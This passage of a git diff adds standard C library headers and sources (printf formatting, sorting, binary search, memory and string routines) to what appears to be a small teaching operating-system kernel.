@@ -0,0 +1,10 @@
+#ifndef __LIB_RANDOM_H
+#define __LIB_RANDOM_H
+
+#include <stddef.h>
+
+void random_init (unsigned seed);
+void random_bytes (void *, size_t);
+unsigned long random_ulong (void);
+
+#endif /* lib/random.h */
diff --git a/src/lib/round.h b/src/lib/round.h
new file mode 100644
index 0000000..3aa6642
--- /dev/null
+++ b/src/lib/round.h
@@ -0,0 +1,18 @@
+#ifndef __LIB_ROUND_H
+#define __LIB_ROUND_H
+
+/* Yields X rounded up to the nearest multiple of STEP.
+ For X >= 0, STEP >= 1 only. */
+#define ROUND_UP(X, STEP) (((X) + (STEP) - 1) / (STEP) * (STEP))
+
+/* Yields X divided by STEP, rounded up.
+ For X >= 0, STEP >= 1 only. */
+#define DIV_ROUND_UP(X, STEP) (((X) + (STEP) - 1) / (STEP))
+
+/* Yields X rounded down to the nearest multiple of STEP.
+ For X >= 0, STEP >= 1 only. */
+#define ROUND_DOWN(X, STEP) ((X) / (STEP) * (STEP))
+
+/* There is no DIV_ROUND_DOWN. It would be simply X / STEP. */
+
+#endif /* lib/round.h */
diff --git a/src/lib/stdarg.h b/src/lib/stdarg.h
new file mode 100644
index 0000000..32622b5
--- /dev/null
+++ b/src/lib/stdarg.h
@@ -0,0 +1,14 @@
+#ifndef __LIB_STDARG_H
+#define __LIB_STDARG_H
+
+/* GCC has <stdarg.h> functionality as built-ins,
+ so all we need is to use it. */
+
+typedef __builtin_va_list va_list;
+
+#define va_start(LIST, ARG) __builtin_va_start (LIST, ARG)
+#define va_end(LIST) __builtin_va_end (LIST)
+#define va_arg(LIST, TYPE) __builtin_va_arg (LIST, TYPE)
+#define va_copy(DST, SRC) __builtin_va_copy (DST, SRC)
+
+#endif /* lib/stdarg.h */
diff --git a/src/lib/stdbool.h b/src/lib/stdbool.h
new file mode 100644
index 0000000..f173a91
--- /dev/null
+++ b/src/lib/stdbool.h
@@ -0,0 +1,9 @@
+#ifndef __LIB_STDBOOL_H
+#define __LIB_STDBOOL_H
+
+#define bool _Bool
+#define true 1
+#define false 0
+#define __bool_true_false_are_defined 1
+
+#endif /* lib/stdbool.h */
diff --git a/src/lib/stddef.h b/src/lib/stddef.h
new file mode 100644
index 0000000..4e74fa6
--- /dev/null
+++ b/src/lib/stddef.h
@@ -0,0 +1,12 @@
+#ifndef __LIB_STDDEF_H
+#define __LIB_STDDEF_H
+
+#define NULL ((void *) 0)
+#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *) 0)->MEMBER)
+
+/* GCC predefines the types we need for ptrdiff_t and size_t,
+ so that we don't have to guess. */
+typedef __PTRDIFF_TYPE__ ptrdiff_t;
+typedef __SIZE_TYPE__ size_t;
+
+#endif /* lib/stddef.h */
diff --git a/src/lib/stdint.h b/src/lib/stdint.h
new file mode 100644
index 0000000..ef5f214
--- /dev/null
+++ b/src/lib/stdint.h
@@ -0,0 +1,51 @@
+#ifndef __LIB_STDINT_H
+#define __LIB_STDINT_H
+
+typedef signed char int8_t;
+#define INT8_MAX 127
+#define INT8_MIN (-INT8_MAX - 1)
+
+typedef signed short int int16_t;
+#define INT16_MAX 32767
+#define INT16_MIN (-INT16_MAX - 1)
+
+typedef signed int int32_t;
+#define INT32_MAX 2147483647
+#define INT32_MIN (-INT32_MAX - 1)
+
+typedef signed long long int int64_t;
+#define INT64_MAX 9223372036854775807LL
+#define INT64_MIN (-INT64_MAX - 1)
+
+typedef unsigned char uint8_t;
+#define UINT8_MAX 255
+
+typedef unsigned short int uint16_t;
+#define UINT16_MAX 65535
+
+typedef unsigned int uint32_t;
+#define UINT32_MAX 4294967295U
+
+typedef unsigned long long int uint64_t;
+#define UINT64_MAX 18446744073709551615ULL
+
+typedef int32_t intptr_t;
+#define INTPTR_MIN INT32_MIN
+#define INTPTR_MAX INT32_MAX
+
+typedef uint32_t uintptr_t;
+#define UINTPTR_MAX UINT32_MAX
+
+typedef int64_t intmax_t;
+#define INTMAX_MIN INT64_MIN
+#define INTMAX_MAX INT64_MAX
+
+typedef uint64_t uintmax_t;
+#define UINTMAX_MAX UINT64_MAX
+
+#define PTRDIFF_MIN INT32_MIN
+#define PTRDIFF_MAX INT32_MAX
+
+#define SIZE_MAX UINT32_MAX
+
+#endif /* lib/stdint.h */
diff --git a/src/lib/stdio.c b/src/lib/stdio.c
new file mode 100644
index 0000000..af80e51
--- /dev/null
+++ b/src/lib/stdio.c
@@ -0,0 +1,637 @@
+#include <stdio.h>
+#include <ctype.h>
+#include <inttypes.h>
+#include <round.h>
+#include <stdint.h>
+#include <string.h>
+
+/* Auxiliary data for vsnprintf_helper(). */
+struct vsnprintf_aux
+ {
+ char *p; /* Current output position. */
+ int length; /* Length of output string. */
+ int max_length; /* Max length of output string. */
+ };
+
+static void vsnprintf_helper (char, void *);
+
+/* Like vprintf(), except that output is stored into BUFFER,
+ which must have space for BUF_SIZE characters. Writes at most
+ BUF_SIZE - 1 characters to BUFFER, followed by a null
+ terminator. BUFFER will always be null-terminated unless
+ BUF_SIZE is zero. Returns the number of characters that would
+ have been written to BUFFER, not including a null terminator,
+ had there been enough room. */
+int
+vsnprintf (char *buffer, size_t buf_size, const char *format, va_list args)
+{
+ /* Set up aux data for vsnprintf_helper(). */
+ struct vsnprintf_aux aux;
+ aux.p = buffer;
+ aux.length = 0;
+ aux.max_length = buf_size > 0 ? buf_size - 1 : 0;
+
+ /* Do most of the work. */
+ __vprintf (format, args, vsnprintf_helper, &aux);
+
+ /* Add null terminator. */
+ if (buf_size > 0)
+ *aux.p = '\0';
+
+ return aux.length;
+}
+
+/* Helper function for vsnprintf(). */
+static void
+vsnprintf_helper (char ch, void *aux_)
+{
+ struct vsnprintf_aux *aux = aux_;
+
+ if (aux->length++ < aux->max_length)
+ *aux->p++ = ch;
+}
+
+/* Like printf(), except that output is stored into BUFFER,
+ which must have space for BUF_SIZE characters. Writes at most
+ BUF_SIZE - 1 characters to BUFFER, followed by a null
+ terminator. BUFFER will always be null-terminated unless
+ BUF_SIZE is zero. Returns the number of characters that would
+ have been written to BUFFER, not including a null terminator,
+ had there been enough room. */
+int
+snprintf (char *buffer, size_t buf_size, const char *format, ...)
+{
+ va_list args;
+ int retval;
+
+ va_start (args, format);
+ retval = vsnprintf (buffer, buf_size, format, args);
+ va_end (args);
+
+ return retval;
+}
+
+/* Writes formatted output to the console.
+ In the kernel, the console is both the video display and first
+ serial port.
+ In userspace, the console is file descriptor 1. */
+int
+printf (const char *format, ...)
+{
+ va_list args;
+ int retval;
+
+ va_start (args, format);
+ retval = vprintf (format, args);
+ va_end (args);
+
+ return retval;
+}
+
+/* printf() formatting internals. */
+
+/* A printf() conversion. */
+struct printf_conversion
+ {
+ /* Flags. */
+ enum
+ {
+ MINUS = 1 << 0, /* '-' */
+ PLUS = 1 << 1, /* '+' */
+ SPACE = 1 << 2, /* ' ' */
+ POUND = 1 << 3, /* '#' */
+ ZERO = 1 << 4, /* '0' */
+ GROUP = 1 << 5 /* '\'' */
+ }
+ flags;
+
+ /* Minimum field width. */
+ int width;
+
+ /* Numeric precision.
+ -1 indicates no precision was specified. */
+ int precision;
+
+ /* Type of argument to format. */
+ enum
+ {
+ CHAR = 1, /* hh */
+ SHORT = 2, /* h */
+ INT = 3, /* (none) */
+ INTMAX = 4, /* j */
+ LONG = 5, /* l */
+ LONGLONG = 6, /* ll */
+ PTRDIFFT = 7, /* t */
+ SIZET = 8 /* z */
+ }
+ type;
+ };
+
+struct integer_base
+ {
+ int base; /* Base. */
+ const char *digits; /* Collection of digits. */
+ int x; /* `x' character to use, for base 16 only. */
+ int group; /* Number of digits to group with ' flag. */
+ };
+
+static const struct integer_base base_d = {10, "0123456789", 0, 3};
+static const struct integer_base base_o = {8, "01234567", 0, 3};
+static const struct integer_base base_x = {16, "0123456789abcdef", 'x', 4};
+static const struct integer_base base_X = {16, "0123456789ABCDEF", 'X', 4};
+
+static const char *parse_conversion (const char *format,
+ struct printf_conversion *,
+ va_list *);
+static void format_integer (uintmax_t value, bool is_signed, bool negative,
+ const struct integer_base *,
+ const struct printf_conversion *,
+ void (*output) (char, void *), void *aux);
+static void output_dup (char ch, size_t cnt,
+ void (*output) (char, void *), void *aux);
+static void format_string (const char *string, int length,
+ struct printf_conversion *,
+ void (*output) (char, void *), void *aux);
+
+void
+__vprintf (const char *format, va_list args,
+ void (*output) (char, void *), void *aux)
+{
+ for (; *format != '\0'; format++)
+ {
+ struct printf_conversion c;
+
+ /* Literally copy non-conversions to output. */
+ if (*format != '%')
+ {
+ output (*format, aux);
+ continue;
+ }
+ format++;
+
+ /* %% => %. */
+ if (*format == '%')
+ {
+ output ('%', aux);
+ continue;
+ }
+
+ /* Parse conversion specifiers. */
+ format = parse_conversion (format, &c, &args);
+
+ /* Do conversion. */
+ switch (*format)
+ {
+ case 'd':
+ case 'i':
+ {
+ /* Signed integer conversions. */
+ intmax_t value;
+
+ switch (c.type)
+ {
+ case CHAR:
+ value = (signed char) va_arg (args, int);
+ break;
+ case SHORT:
+ value = (short) va_arg (args, int);
+ break;
+ case INT:
+ value = va_arg (args, int);
+ break;
+ case INTMAX:
+ value = va_arg (args, intmax_t);
+ break;
+ case LONG:
+ value = va_arg (args, long);
+ break;
+ case LONGLONG:
+ value = va_arg (args, long long);
+ break;
+ case PTRDIFFT:
+ value = va_arg (args, ptrdiff_t);
+ break;
+ case SIZET:
+ value = va_arg (args, size_t);
+ if (value > SIZE_MAX / 2)
+ value = value - SIZE_MAX - 1;
+ break;
+ default:
+ NOT_REACHED ();
+ }
+
+ format_integer (value < 0 ? -value : value,
+ true, value < 0, &base_d, &c, output, aux);
+ }
+ break;
+
+ case 'o':
+ case 'u':
+ case 'x':
+ case 'X':
+ {
+ /* Unsigned integer conversions. */
+ uintmax_t value;
+ const struct integer_base *b;
+
+ switch (c.type)
+ {
+ case CHAR:
+ value = (unsigned char) va_arg (args, unsigned);
+ break;
+ case SHORT:
+ value = (unsigned short) va_arg (args, unsigned);
+ break;
+ case INT:
+ value = va_arg (args, unsigned);
+ break;
+ case INTMAX:
+ value = va_arg (args, uintmax_t);
+ break;
+ case LONG:
+ value = va_arg (args, unsigned long);
+ break;
+ case LONGLONG:
+ value = va_arg (args, unsigned long long);
+ break;
+ case PTRDIFFT:
+ value = va_arg (args, ptrdiff_t);
+#if UINTMAX_MAX != PTRDIFF_MAX
+ value &= ((uintmax_t) PTRDIFF_MAX << 1) | 1;
+#endif
+ break;
+ case SIZET:
+ value = va_arg (args, size_t);
+ break;
+ default:
+ NOT_REACHED ();
+ }
+
+ switch (*format)
+ {
+ case 'o': b = &base_o; break;
+ case 'u': b = &base_d; break;
+ case 'x': b = &base_x; break;
+ case 'X': b = &base_X; break;
+ default: NOT_REACHED ();
+ }
+
+ format_integer (value, false, false, b, &c, output, aux);
+ }
+ break;
+
+ case 'c':
+ {
+ /* Treat character as single-character string. */
+ char ch = va_arg (args, int);
+ format_string (&ch, 1, &c, output, aux);
+ }
+ break;
+
+ case 's':
+ {
+ /* String conversion. */
+ const char *s = va_arg (args, char *);
+ if (s == NULL)
+ s = "(null)";
+
+ /* Limit string length according to precision.
+ Note: if c.precision == -1 then strnlen() will get
+ SIZE_MAX for MAXLEN, which is just what we want. */
+ format_string (s, strnlen (s, c.precision), &c, output, aux);
+ }
+ break;
+
+ case 'p':
+ {
+ /* Pointer conversion.
+ Format pointers as %#x. */
+ void *p = va_arg (args, void *);
+
+ c.flags = POUND;
+ format_integer ((uintptr_t) p, false, false,
+ &base_x, &c, output, aux);
+ }
+ break;
+
+ case 'f':
+ case 'e':
+ case 'E':
+ case 'g':
+ case 'G':
+ case 'n':
+ /* We don't support floating-point arithmetic,
+ and %n can be part of a security hole. */
+ __printf ("<<no %%%c in kernel>>", output, aux, *format);
+ break;
+
+ default:
+ __printf ("<<no %%%c conversion>>", output, aux, *format);
+ break;
+ }
+ }
+}
+
+/* Parses conversion option characters starting at FORMAT and
+ initializes C appropriately. Returns the character in FORMAT
+ that indicates the conversion (e.g. the `d' in `%d'). Uses
+ *ARGS for `*' field widths and precisions. */
+static const char *
+parse_conversion (const char *format, struct printf_conversion *c,
+ va_list *args)
+{
+ /* Parse flag characters. */
+ c->flags = 0;
+ for (;;)
+ {
+ switch (*format++)
+ {
+ case '-':
+ c->flags |= MINUS;
+ break;
+ case '+':
+ c->flags |= PLUS;
+ break;
+ case ' ':
+ c->flags |= SPACE;
+ break;
+ case '#':
+ c->flags |= POUND;
+ break;
+ case '0':
+ c->flags |= ZERO;
+ break;
+ case '\'':
+ c->flags |= GROUP;
+ break;
+ default:
+ format--;
+ goto not_a_flag;
+ }
+ }
+ not_a_flag:
+ if (c->flags & MINUS)
+ c->flags &= ~ZERO;
+ if (c->flags & PLUS)
+ c->flags &= ~SPACE;
+
+ /* Parse field width. */
+ c->width = 0;
+ if (*format == '*')
+ {
+ format++;
+ c->width = va_arg (*args, int);
+ }
+ else
+ {
+ for (; isdigit (*format); format++)
+ c->width = c->width * 10 + *format - '0';
+ }
+ if (c->width < 0)
+ {
+ c->width = -c->width;
+ c->flags |= MINUS;
+ }
+
+ /* Parse precision. */
+ c->precision = -1;
+ if (*format == '.')
+ {
+ format++;
+ if (*format == '*')
+ {
+ format++;
+ c->precision = va_arg (*args, int);
+ }
+ else
+ {
+ c->precision = 0;
+ for (; isdigit (*format); format++)
+ c->precision = c->precision * 10 + *format - '0';
+ }
+ if (c->precision < 0)
+ c->precision = -1;
+ }
+ if (c->precision >= 0)
+ c->flags &= ~ZERO;
+
+ /* Parse type. */
+ c->type = INT;
+ switch (*format++)
+ {
+ case 'h':
+ if (*format == 'h')
+ {
+ format++;
+ c->type = CHAR;
+ }
+ else
+ c->type = SHORT;
+ break;
+
+ case 'j':
+ c->type = INTMAX;
+ break;
+
+ case 'l':
+ if (*format == 'l')
+ {
+ format++;
+ c->type = LONGLONG;
+ }
+ else
+ c->type = LONG;
+ break;
+
+ case 't':
+ c->type = PTRDIFFT;
+ break;
+
+ case 'z':
+ c->type = SIZET;
+ break;
+
+ default:
+ format--;
+ break;
+ }
+
+ return format;
+}
+
+/* Performs an integer conversion, writing output to OUTPUT with
+ auxiliary data AUX. The integer converted has absolute value
+ VALUE. If IS_SIGNED is true, does a signed conversion with
+ NEGATIVE indicating a negative value; otherwise does an
+ unsigned conversion and ignores NEGATIVE. The output is done
+ according to the provided base B. Details of the conversion
+ are in C. */
+static void
+format_integer (uintmax_t value, bool is_signed, bool negative,
+ const struct integer_base *b,
+ const struct printf_conversion *c,
+ void (*output) (char, void *), void *aux)
+{
+ char buf[64], *cp; /* Buffer and current position. */
+ int x; /* `x' character to use or 0 if none. */
+ int sign; /* Sign character or 0 if none. */
+ int precision; /* Rendered precision. */
+ int pad_cnt; /* # of pad characters to fill field width. */
+ int digit_cnt; /* # of digits output so far. */
+
+ /* Determine sign character, if any.
+ An unsigned conversion will never have a sign character,
+ even if one of the flags requests one. */
+ sign = 0;
+ if (is_signed)
+ {
+ if (c->flags & PLUS)
+ sign = negative ? '-' : '+';
+ else if (c->flags & SPACE)
+ sign = negative ? '-' : ' ';
+ else if (negative)
+ sign = '-';
+ }
+
+ /* Determine whether to include `0x' or `0X'.
+ It will only be included with a hexadecimal conversion of a
+ nonzero value with the # flag. */
+ x = (c->flags & POUND) && value ? b->x : 0;
+
+ /* Accumulate digits into buffer.
+ This algorithm produces digits in reverse order, so later we
+ will output the buffer's content in reverse. */
+ cp = buf;
+ digit_cnt = 0;
+ while (value > 0)
+ {
+ if ((c->flags & GROUP) && digit_cnt > 0 && digit_cnt % b->group == 0)
+ *cp++ = ',';
+ *cp++ = b->digits[value % b->base];
+ value /= b->base;
+ digit_cnt++;
+ }
+
+ /* Append enough zeros to match precision.
+ If requested precision is 0, then a value of zero is
+ rendered as a null string, otherwise as "0".
+ If the # flag is used with base 8, the result must always
+ begin with a zero. */
+ precision = c->precision < 0 ? 1 : c->precision;
+ while (cp - buf < precision && cp < buf + sizeof buf - 1)
+ *cp++ = '0';
+ if ((c->flags & POUND) && b->base == 8 && (cp == buf || cp[-1] != '0'))
+ *cp++ = '0';
+
+ /* Calculate number of pad characters to fill field width. */
+ pad_cnt = c->width - (cp - buf) - (x ? 2 : 0) - (sign != 0);
+ if (pad_cnt < 0)
+ pad_cnt = 0;
+
+ /* Do output. */
+ if ((c->flags & (MINUS | ZERO)) == 0)
+ output_dup (' ', pad_cnt, output, aux);
+ if (sign)
+ output (sign, aux);
+ if (x)
+ {
+ output ('0', aux);
+ output (x, aux);
+ }
+ if (c->flags & ZERO)
+ output_dup ('0', pad_cnt, output, aux);
+ while (cp > buf)
+ output (*--cp, aux);
+ if (c->flags & MINUS)
+ output_dup (' ', pad_cnt, output, aux);
+}
+
+/* Writes CH to OUTPUT with auxiliary data AUX, CNT times. */
+static void
+output_dup (char ch, size_t cnt, void (*output) (char, void *), void *aux)
+{
+ while (cnt-- > 0)
+ output (ch, aux);
+}
+
+/* Formats the LENGTH characters starting at STRING according to
+ the conversion specified in C. Writes output to OUTPUT with
+ auxiliary data AUX. */
+static void
+format_string (const char *string, int length,
+ struct printf_conversion *c,
+ void (*output) (char, void *), void *aux)
+{
+ int i;
+ if (c->width > length && (c->flags & MINUS) == 0)
+ output_dup (' ', c->width - length, output, aux);
+ for (i = 0; i < length; i++)
+ output (string[i], aux);
+ if (c->width > length && (c->flags & MINUS) != 0)
+ output_dup (' ', c->width - length, output, aux);
+}
+
+/* Wrapper for __vprintf() that converts varargs into a
+ va_list. */
+void
+__printf (const char *format,
+ void (*output) (char, void *), void *aux, ...)
+{
+ va_list args;
+
+ va_start (args, aux);
+ __vprintf (format, args, output, aux);
+ va_end (args);
+}
+
+/* Dumps the SIZE bytes in BUF to the console as hex bytes
+ arranged 16 per line. Numeric offsets are also included,
+ starting at OFS for the first byte in BUF. If ASCII is true
+ then the corresponding ASCII characters are also rendered
+ alongside. */
+void
+hex_dump (uintptr_t ofs, const void *buf_, size_t size, bool ascii)
+{
+ const uint8_t *buf = buf_;
+ const size_t per_line = 16; /* Maximum bytes per line. */
+
+ while (size > 0)
+ {
+ size_t start, end, n;
+ size_t i;
+
+ /* Number of bytes on this line. */
+ start = ofs % per_line;
+ end = per_line;
+ if (end - start > size)
+ end = start + size;
+ n = end - start;
+
+ /* Print line. */
+ printf ("%08jx ", (uintmax_t) ROUND_DOWN (ofs, per_line));
+ for (i = 0; i < start; i++)
+ printf (" ");
+ for (; i < end; i++)
+ printf ("%02hhx%c",
+ buf[i - start], i == per_line / 2 - 1? '-' : ' ');
+ if (ascii)
+ {
+ for (; i < per_line; i++)
+ printf (" ");
+ printf ("|");
+ for (i = 0; i < start; i++)
+ printf (" ");
+ for (; i < end; i++)
+ printf ("%c",
+ isprint (buf[i - start]) ? buf[i - start] : '.');
+ for (; i < per_line; i++)
+ printf (" ");
+ printf ("|");
+ }
+ printf ("\n");
+
+ ofs += n;
+ buf += n;
+ size -= n;
+ }
+}
diff --git a/src/lib/stdio.h b/src/lib/stdio.h
new file mode 100644
index 0000000..8288ff0
--- /dev/null
+++ b/src/lib/stdio.h
@@ -0,0 +1,39 @@
+#ifndef __LIB_STDIO_H
+#define __LIB_STDIO_H
+
+#include <debug.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/* Include lib/user/stdio.h or lib/kernel/stdio.h, as
+ appropriate. */
+#include_next <stdio.h>
+
+/* Predefined file handles. */
+#define STDIN_FILENO 0
+#define STDOUT_FILENO 1
+
+/* Standard functions. */
+int printf (const char *, ...) PRINTF_FORMAT (1, 2);
+int snprintf (char *, size_t, const char *, ...) PRINTF_FORMAT (3, 4);
+int vprintf (const char *, va_list) PRINTF_FORMAT (1, 0);
+int vsnprintf (char *, size_t, const char *, va_list) PRINTF_FORMAT (3, 0);
+int putchar (int);
+int puts (const char *);
+
+/* Nonstandard functions. */
+void hex_dump (uintptr_t ofs, const void *, size_t size, bool ascii);
+
+/* Internal functions. */
+void __vprintf (const char *format, va_list args,
+ void (*output) (char, void *), void *aux);
+void __printf (const char *format,
+ void (*output) (char, void *), void *aux, ...);
+
+/* Try to be helpful. */
+#define sprintf dont_use_sprintf_use_snprintf
+#define vsprintf dont_use_vsprintf_use_vsnprintf
+
+#endif /* lib/stdio.h */
diff --git a/src/lib/stdlib.c b/src/lib/stdlib.c
new file mode 100644
index 0000000..84c7f61
--- /dev/null
+++ b/src/lib/stdlib.c
@@ -0,0 +1,208 @@
+#include <ctype.h>
+#include <debug.h>
+#include <random.h>
+#include <stdlib.h>
+#include <stdbool.h>
+
+/* Converts a string representation of a signed decimal integer
+ in S into an `int', which is returned. */
+int
+atoi (const char *s)
+{
+ bool negative;
+ int value;
+
+ ASSERT (s != NULL);
+
+ /* Skip white space. */
+ while (isspace ((unsigned char) *s))
+ s++;
+
+ /* Parse sign. */
+ negative = false;
+ if (*s == '+')
+ s++;
+ else if (*s == '-')
+ {
+ negative = true;
+ s++;
+ }
+
+ /* Parse digits. We always initially parse the value as
+ negative, and then make it positive later, because the
+ negative range of an int is bigger than the positive range
+ on a 2's complement system. */
+ for (value = 0; isdigit (*s); s++)
+ value = value * 10 - (*s - '0');
+ if (!negative)
+ value = -value;
+
+ return value;
+}
+
+/* Compares A and B by calling the AUX function. */
+static int
+compare_thunk (const void *a, const void *b, void *aux)
+{
+ int (**compare) (const void *, const void *) = aux;
+ return (*compare) (a, b);
+}
+
+/* Sorts ARRAY, which contains CNT elements of SIZE bytes each,
+ using COMPARE. When COMPARE is passed a pair of elements A
+ and B, respectively, it must return a strcmp()-type result,
+ i.e. less than zero if A < B, zero if A == B, greater than
+ zero if A > B. Runs in O(n lg n) time and O(1) space in
+ CNT. */
+void
+qsort (void *array, size_t cnt, size_t size,
+ int (*compare) (const void *, const void *))
+{
+ sort (array, cnt, size, compare_thunk, &compare);
+}
+
+/* Swaps elements with 1-based indexes A_IDX and B_IDX in ARRAY
+ with elements of SIZE bytes each. */
+static void
+do_swap (unsigned char *array, size_t a_idx, size_t b_idx, size_t size)
+{
+ unsigned char *a = array + (a_idx - 1) * size;
+ unsigned char *b = array + (b_idx - 1) * size;
+ size_t i;
+
+ for (i = 0; i < size; i++)
+ {
+ unsigned char t = a[i];
+ a[i] = b[i];
+ b[i] = t;
+ }
+}
+
+/* Compares elements with 1-based indexes A_IDX and B_IDX in
+ ARRAY with elements of SIZE bytes each, using COMPARE to
+ compare elements, passing AUX as auxiliary data, and returns a
+ strcmp()-type result. */
+static int
+do_compare (unsigned char *array, size_t a_idx, size_t b_idx, size_t size,
+ int (*compare) (const void *, const void *, void *aux),
+ void *aux)
+{
+ return compare (array + (a_idx - 1) * size, array + (b_idx - 1) * size, aux);
+}
+
+/* "Float down" the element with 1-based index I in ARRAY of CNT
+ elements of SIZE bytes each, using COMPARE to compare
+ elements, passing AUX as auxiliary data. */
+static void
+heapify (unsigned char *array, size_t i, size_t cnt, size_t size,
+ int (*compare) (const void *, const void *, void *aux),
+ void *aux)
+{
+ for (;;)
+ {
+ /* Set `max' to the index of the largest element among I
+ and its children (if any). */
+ size_t left = 2 * i;
+ size_t right = 2 * i + 1;
+ size_t max = i;
+ if (left <= cnt && do_compare (array, left, max, size, compare, aux) > 0)
+ max = left;
+ if (right <= cnt
+ && do_compare (array, right, max, size, compare, aux) > 0)
+ max = right;
+
+ /* If the maximum value is already in element I, we're
+ done. */
+ if (max == i)
+ break;
+
+ /* Swap and continue down the heap. */
+ do_swap (array, i, max, size);
+ i = max;
+ }
+}
+
+/* Sorts ARRAY, which contains CNT elements of SIZE bytes each,
+ using COMPARE to compare elements, passing AUX as auxiliary
+ data. When COMPARE is passed a pair of elements A and B,
+ respectively, it must return a strcmp()-type result, i.e. less
+ than zero if A < B, zero if A == B, greater than zero if A >
+ B. Runs in O(n lg n) time and O(1) space in CNT. */
+void
+sort (void *array, size_t cnt, size_t size,
+ int (*compare) (const void *, const void *, void *aux),
+ void *aux)
+{
+ size_t i;
+
+ ASSERT (array != NULL || cnt == 0);
+ ASSERT (compare != NULL);
+ ASSERT (size > 0);
+
+ /* Build a heap. */
+ for (i = cnt / 2; i > 0; i--)
+ heapify (array, i, cnt, size, compare, aux);
+
+ /* Sort the heap. */
+ for (i = cnt; i > 1; i--)
+ {
+ do_swap (array, 1, i, size);
+ heapify (array, 1, i - 1, size, compare, aux);
+ }
+}
+
+/* Searches ARRAY, which contains CNT elements of SIZE bytes
+ each, for the given KEY. Returns a match is found, otherwise
+ a null pointer. If there are multiple matches, returns an
+ arbitrary one of them.
+
+ ARRAY must be sorted in order according to COMPARE.
+
+ Uses COMPARE to compare elements. When COMPARE is passed a
+ pair of elements A and B, respectively, it must return a
+ strcmp()-type result, i.e. less than zero if A < B, zero if A
+ == B, greater than zero if A > B. */
+void *
+bsearch (const void *key, const void *array, size_t cnt,
+ size_t size, int (*compare) (const void *, const void *))
+{
+ return binary_search (key, array, cnt, size, compare_thunk, &compare);
+}
+
+/* Searches ARRAY, which contains CNT elements of SIZE bytes
+ each, for the given KEY. Returns a match is found, otherwise
+ a null pointer. If there are multiple matches, returns an
+ arbitrary one of them.
+
+ ARRAY must be sorted in order according to COMPARE.
+
+ Uses COMPARE to compare elements, passing AUX as auxiliary
+ data. When COMPARE is passed a pair of elements A and B,
+ respectively, it must return a strcmp()-type result, i.e. less
+ than zero if A < B, zero if A == B, greater than zero if A >
+ B. */
+void *
+binary_search (const void *key, const void *array, size_t cnt, size_t size,
+ int (*compare) (const void *, const void *, void *aux),
+ void *aux)
+{
+ const unsigned char *first = array;
+ const unsigned char *last = array + size * cnt;
+
+ while (first < last)
+ {
+ size_t range = (last - first) / size;
+ const unsigned char *middle = first + (range / 2) * size;
+ int cmp = compare (key, middle, aux);
+
+ if (cmp < 0)
+ last = middle;
+ else if (cmp > 0)
+ first = middle + size;
+ else
+ return (void *) middle;
+ }
+
+ return NULL;
+}
+
diff --git a/src/lib/stdlib.h b/src/lib/stdlib.h
new file mode 100644
index 0000000..d14afa3
--- /dev/null
+++ b/src/lib/stdlib.h
@@ -0,0 +1,22 @@
+#ifndef __LIB_STDLIB_H
+#define __LIB_STDLIB_H
+
+#include <stddef.h>
+
+/* Standard functions. */
+int atoi (const char *);
+void qsort (void *array, size_t cnt, size_t size,
+ int (*compare) (const void *, const void *));
+void *bsearch (const void *key, const void *array, size_t cnt,
+ size_t size, int (*compare) (const void *, const void *));
+
+/* Nonstandard functions. */
+void sort (void *array, size_t cnt, size_t size,
+ int (*compare) (const void *, const void *, void *aux),
+ void *aux);
+void *binary_search (const void *key, const void *array, size_t cnt,
+ size_t size,
+ int (*compare) (const void *, const void *, void *aux),
+ void *aux);
+
+#endif /* lib/stdlib.h */
diff --git a/src/lib/string.c b/src/lib/string.c
new file mode 100644
index 0000000..6564316
--- /dev/null
+++ b/src/lib/string.c
@@ -0,0 +1,404 @@
+#include <string.h>
+#include <debug.h>
+
+/* Copies SIZE bytes from SRC to DST, which must not overlap.
+ Returns DST. */
+void *
+memcpy (void *dst_, const void *src_, size_t size)
+{
+ unsigned char *dst = dst_;
+ const unsigned char *src = src_;
+
+ ASSERT (dst != NULL || size == 0);
+ ASSERT (src != NULL || size == 0);
+
+ while (size-- > 0)
+ *dst++ = *src++;
+
+ return dst_;
+}
+
+/* Copies SIZE bytes from SRC to DST, which are allowed to
+ overlap. Returns DST. */
+void *
+memmove (void *dst_, const void *src_, size_t size)
+{
+ unsigned char *dst = dst_;
+ const unsigned char *src = src_;
+
+ ASSERT (dst != NULL || size == 0);
+ ASSERT (src != NULL || size == 0);
+
+ if (dst < src)
+ {
+ while (size-- > 0)
+ *dst++ = *src++;
+ }
+ else
+ {
+ dst += size;
+ src += size;
+ while (size-- > 0)
+ *--dst = *--src;
+ }
+
+ return dst;
+}
+
+/* Find the first differing byte in the two blocks of SIZE bytes
+ at A and B. Returns a positive value if the byte in A is
+ greater, a negative value if the byte in B is greater, or zero
+ if blocks A and B are equal. */
+int
+memcmp (const void *a_, const void *b_, size_t size)
+{
+ const unsigned char *a = a_;
+ const unsigned char *b = b_;
+
+ ASSERT (a != NULL || size == 0);
+ ASSERT (b != NULL || size == 0);
+
+ for (; size-- > 0; a++, b++)
+ if (*a != *b)
+ return *a > *b ? +1 : -1;
+ return 0;
+}
+
+/* Finds the first differing characters in strings A and B.
+ Returns a positive value if the character in A (as an unsigned
+ char) is greater, a negative value if the character in B (as
+ an unsigned char) is greater, or zero if strings A and B are
+ equal. */
+int
+strcmp (const char *a_, const char *b_)
+{
+ const unsigned char *a = (const unsigned char *) a_;
+ const unsigned char *b = (const unsigned char *) b_;
+
+ ASSERT (a != NULL);
+ ASSERT (b != NULL);
+
+ while (*a != '\0' && *a == *b)
+ {
+ a++;
+ b++;
+ }
+
+ return *a < *b ? -1 : *a > *b;
+}
+
+/* Returns a pointer to the first occurrence of CH in the first
+ SIZE bytes starting at BLOCK. Returns a null pointer if CH
+ does not occur in BLOCK. */
+void *
+memchr (const void *block_, int ch_, size_t size)
+{
+ const unsigned char *block = block_;
+ unsigned char ch = ch_;
+
+ ASSERT (block != NULL || size == 0);
+
+ for (; size-- > 0; block++)
+ if (*block == ch)
+ return (void *) block;
+
+ return NULL;
+}
+
+/* Finds and returns the first occurrence of C in STRING, or a
+ null pointer if C does not appear in STRING. If C == '\0'
+ then returns a pointer to the null terminator at the end of
+ STRING. */
+char *
+strchr (const char *string, int c_)
+{
+ char c = c_;
+
+ ASSERT (string != NULL);
+
+ for (;;)
+ if (*string == c)
+ return (char *) string;
+ else if (*string == '\0')
+ return NULL;
+ else
+ string++;
+}
+
+/* Returns the length of the initial substring of STRING that
+ consists of characters that are not in STOP. */
+size_t
+strcspn (const char *string, const char *stop)
+{
+ size_t length;
+
